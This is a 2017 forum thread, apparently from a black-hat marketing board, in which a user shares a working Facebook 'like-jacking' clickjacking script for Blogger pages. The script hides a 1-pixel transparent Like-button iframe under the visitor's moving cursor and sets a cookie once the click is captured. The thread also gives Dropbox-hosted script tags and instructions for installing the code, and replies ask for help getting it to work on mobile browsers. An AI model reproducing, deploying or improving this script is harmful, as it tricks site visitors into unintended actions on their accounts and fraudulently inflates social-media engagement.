1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[Test] Facebook Auto Click Jack

Discussion in 'FaceBook' started by Dr.Varun, May 1, 2017.

  1. Dr.Varun

    Dr.Varun Newbie

    Joined:
    Apr 27, 2017
    Messages:
    7
    Likes Received:
    2
    Gender:
    Male
    Hello,

    I'm pretty new to blackhatworld but tried an auto-jack script recently for blogger. However, it was not working, including on the websites i found in the thread. So, i decided to make it work on my way.

    Storyline in Short: I somehw managed to make the code work in google chrome with ?m=0 version (not ?m=1) and firefox. It works super in Desktop, but fails to work in mobile. Chrome in mobile seems to see it, but reject the script. Any help?

    I started with uploading script to Google Drive (it sucks), so i used dropbox.
    Here's it:

    Jquery Plugin:

    Code:
    <script src='https://code.jquery.com/jquery-1.11.0.min.js'/>
    Script File:

    Dropbox upload:


    Code:
    <script src='https://dl.dropboxusercontent.com/s/6dneyudgz02carr/cj.js'/>
    The Actual Code

    Code:
    // Click Jack Script Made By Fagenorn - 09/01/'16
    
    //Set the facebook page you would like to use.
    var page_ = encodeURIComponent("https://www.facebook.com/techztoday/");
    
    //Set the opacity of the like button (0-100). Set this to 0 when going live
    var Opacity = 0
    
    //Set the size of the IFRAMEin pixels (1px recomended when going live)
    var Size_px = 1;
    
    //Whether to use a pointer cursor or the default cursor
    var use_pointer = false;
    
    //Cookie Duration
    var dur_Cook = "Thu, 18 Dec 2020 12:00:00 UTC";
    
    
    
    
    //=============================================================================================
    
    
    
    if("undefined"==typeof jQuery)throw new Error("ClickJack requires jQuery");
    var cursor = "default";
    if(use_pointer){
    cursor = "pointer";
    };
    var newOP = (parseInt(Opacity) / parseInt(100));
    
    $(document).ready(function() {
        var $div = $(
        ' <div id="vvrapper"><iframe  sandbox="allow-same-origin allow-pointer-lock allow-scripts allow-forms" id="lmao" src="https://www.facebook.com/plugins/like.php?href='+page_+'&width=50&layout=button&action=like&size=large&show_faces=false&share=false&height=65&appId" width="'+Size_px+'" height="'+Size_px+'" style="border:none;pointer-events:none;overflow:hidden;position:absolute;top:0; left:0;filter:alpha(opacity='+Opacity+');opacity:'+newOP+';z-index:99" scrolling="no" frameborder="0" allowTransparency="true"></iframe><div id="anti-cursor"></div> </div>'
        ).appendTo("body");
    
    
    window.setInterval(ganttEach, 5000);
    
    
    $('#anti-cursorr').css({
        position: 'absolute',
        top: 0,
        left: 0,
        cursor: cursor,
        width: 30,
        height: 30,
        'pointer-events':'none',
        'z-index': 100
            });
        $('#vvrapper').css({
        });
    
    
        $(document).on('mousemove', function(e) {
            $('#lmao').css({
                left: e.pageX - Math.floor((Size_px/2)),
                top: e.pageY - Math.floor((Size_px/2))
            });
            $('#anti-cursor').css({
                left: e.pageX - Math.floor((Size_px/2)),
                top: e.pageY - Math.floor((Size_px/2))
            });
        });
    
    
    
        if (getCookie("_hslkd")) {
            $("#lmao").remove()
        }
        focus();
        var listener = addEventListener('blur', function() {
            if (document.activeElement === document.getElementById('lmao')) {
                // clicked
                document.cookie = "_hslkd=true; expires="+dur_Cook;
                window.setTimeout(function() {
                    $("#lmao").remove()
                }, 500);
               
    
            }
        });
    });
    
    
    function ganttEach() {
      $("#lmao").css('pointer-events','auto');
    }
    
    
    function getCookie(cname) {
        var name = cname + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
            var c = ca[i];
            while (c.charAt(0) == ' ') {
                c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
                return c.substring(name.length, c.length);
            }
        }
        return "";
    }
     
  2. Peter Wilson

    Peter Wilson BANNED BANNED

    Joined:
    Apr 14, 2017
    Messages:
    114
    Likes Received:
    18
    Gender:
    Male
    What is it about ?
     
  3. Dr.Varun

    Dr.Varun Newbie

    Joined:
    Apr 27, 2017
    Messages:
    7
    Likes Received:
    2
    Gender:
    Male
    Edited the post- I made it work in Google Chrome and Firefox in desktop with ?m=1 version of blogspot. But in actual smartphone, Chrome rejects the java script.

    It is somehow too difficult for blogspot users to work around with the script, given the fact that the script was messing up with links on page and was also not showing up in chrome desktop.
     
  4. naskootbg

    naskootbg Power Member

    Joined:
    Nov 8, 2010
    Messages:
    646
    Likes Received:
    221
    Home Page:
    It must works on mobile excepting old IE maybe. Possibly blogspot showing different code for mobile users - maybe "how to edit blogspot for mobile facebook" search can do the trick. Just points - have not time to test. How you see the source code from mobile btw?
     
    Last edited: May 1, 2017
  5. Dr.Varun

    Dr.Varun Newbie

    Joined:
    Apr 27, 2017
    Messages:
    7
    Likes Received:
    2
    Gender:
    Male
    H
    I can't. But i thought maybe the website (?m=0) was same for both platforms. Definitely apps are sophisticated than desktop.
     
  6. Dr.Varun

    Dr.Varun Newbie

    Joined:
    Apr 27, 2017
    Messages:
    7
    Likes Received:
    2
    Gender:
    Male
    The final code to be used on blogger is:

    Code:
    <script src='https://code.jquery.com/jquery-1.11.0.min.js' type='text/javascript'/>
    <script src='https://dl.dropboxusercontent.com/s/6dneyudgz02carr/cj.js'/>
    <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/3.1.8/imagesloaded.pkgd.min.js'/>
    <script src='https://cdnjs.cloudflare.com/ajax/libs/masonry/3.3.1/masonry.pkgd.min.js'/>
    
    Just after the <body> tag, insert the code and the jacker will start. You have to give approx 5 seconds for the script to load up. Please try to help me build it up for mobile chrome if anyone knows some coding.

    P.S- No idea how it worked.
     
  7. naskootbg

    naskootbg Power Member

    Joined:
    Nov 8, 2010
    Messages:
    646
    Likes Received:
    221
    Home Page:
    Man, I'm sure I can do this, but there have tons of ready made tools, proven and tested and tested and tested for different situtations. Some of them have enough number of monthly subscribers, so they are motivated to keep test and test and test.

    I will be happy if some jQuery expert take action here, but the chance is much higher on stackoverflow.

    OP giving us working script and the poor activity is little strange for me - I know here have few likejackers scripts already made last 7 years.
     
    • Thanks Thanks x 1
  8. Unavailable

    Unavailable Registered Member

    Joined:
    Mar 24, 2015
    Messages:
    75
    Likes Received:
    10
    is there any proven tested script for fb like/share jacking ?
    a few years ago there was few working ones, but can't see any proven one lately